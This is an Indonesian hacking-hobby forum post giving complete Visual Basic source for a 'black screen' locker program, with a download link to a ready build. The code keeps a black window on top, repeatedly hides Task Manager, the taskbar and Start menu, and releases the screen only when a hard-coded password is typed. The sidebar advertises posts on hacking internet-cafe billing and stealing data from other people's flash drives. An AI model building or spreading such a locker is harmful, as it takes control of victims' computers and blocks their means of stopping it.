Tukeran Link !!!
Latest topics
» Mobile chat avacs
Sun Apr 03, 2011 2:27 am by not

» Cara Menghack Billing Explorer Warnet
Thu Apr 22, 2010 1:11 am by admin

» Cara bikin Hang/heng/hank/henk Komputer !!!
Wed Apr 07, 2010 6:37 pm by admin

» thumbSUCK Aplikasi Pencuri data dari Flashdisk Orang lain
Wed Apr 07, 2010 6:35 pm by admin

» Tutorial Belajar MS.PowerPoint
Wed Apr 07, 2010 6:18 pm by admin

» Tutorial Merakit Komputer
Wed Apr 07, 2010 6:16 pm by admin

» Know How Programming !!!
Wed Apr 07, 2010 6:12 pm by admin

» Cara Mengacaukan Kursor Mouse
Wed Apr 07, 2010 6:10 pm by admin

» Black Screen Windows
Wed Apr 07, 2010 6:08 pm by admin

Navigation
 Portal
 Indeks
 Anggota
 Profil
 FAQ
 Pencarian
User Yang Sedang Online
Total 1 user online :: 0 Terdaftar, 0 Tersembunyi dan 1 Tamu

Tidak ada

[ View the whole list ]


User online terbanyak adalah 9 pada Fri Jul 08, 2011 2:33 am
Kotak Komentar
Google Translate
English French German Spain Italian Dutch

Russian Portuguese Japanese Korean Arabic
RSS feeds


Yahoo! 
MSN 
AOL 
Netvibes 
Bloglines 


Affiliates
free forum


Black Screen Windows

Topik sebelumnya Topik selanjutnya Go down

Black Screen Windows

Post  admin on Wed Apr 07, 2010 6:08 pm

source code Black screen windows
============================================================

Option Explicit
Const HWND_TOPMOST = -1
Const HWND_NOTOPMOST = -2
Const SWP_NOSIZE = &H1
Const SWP_NOMOVE = &H2
Const SWP_NOACTIVATE = &H10
Const SWP_SHOWWINDOW = &H40
Private Declare Sub SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long)
Private Declare Function Putfocus Lib "user32" Alias "SetFocus" (ByVal hwnd As Long) As Long
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function BringWindowToTop Lib "user32" (ByVal hwnd As Long) As Long

Private Sub Form_Load()
Timer1.Interval = 1
Me.BackColor = vbBlack
Text1.BackColor = vbBlack
Text1.ForeColor = vbGreen
Text1.Left = Screen.Width - Text1.Width
Text1.Top = Screen.Height - Text1.Height
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Dim H As Long
Timer1.Enabled = False
H = FindWindow("BaseBar", vbNullString)
If H Then ShowWindow H, 1

H = FindWindow("Shell_TrayWnd", vbNullString)
If H Then ShowWindow H, 1
' ShowCursor True
End Sub

Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
If UCase(Text1.Text) = "BMB 100% GORONTALO" Then
Unload Me
Else
Text1 = ""
End If
KeyAscii = 0
End If
End Sub

Private Sub Timer1_Timer()
BringWindowToTop Me.hwnd
SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOACTIVATE Or SWP_SHOWWINDOW Or SWP_NOMOVE Or SWP_NOSIZE
Dim H As Long
H = FindWindow("#32770", "Windows Task Manager")
If H Then ShowWindow H, 0

H = FindWindow("#32771", vbNullString)
If H Then ShowWindow H, 0

H = FindWindow("BaseBar", vbNullString)
If H Then ShowWindow H, 0

H = FindWindow("Shell_TrayWnd", vbNullString)
If H Then ShowWindow H, 0
Rem ShowCursor False 'Jika anda mau menghilangkan cursor, hapus kata REM pada baris ini
Putfocus Text1.hwnd
End Sub
================================================================

klo masih bingung dan blum ngerti langsung downloads saja ...

http://www.ziddu.com/download/9334864/blackLOCKscreenWindows.rar.html
avatar
admin
Admin

Jumlah posting : 17
Join date : 31.03.10
Age : 24
Lokasi : Gorontalo

Lihat profil user http://ezero.forum.st & www.kurniawan93.tk

Kembali Ke Atas Go down

Topik sebelumnya Topik selanjutnya Kembali Ke Atas


 
Permissions in this forum:
Anda tidak dapat menjawab topik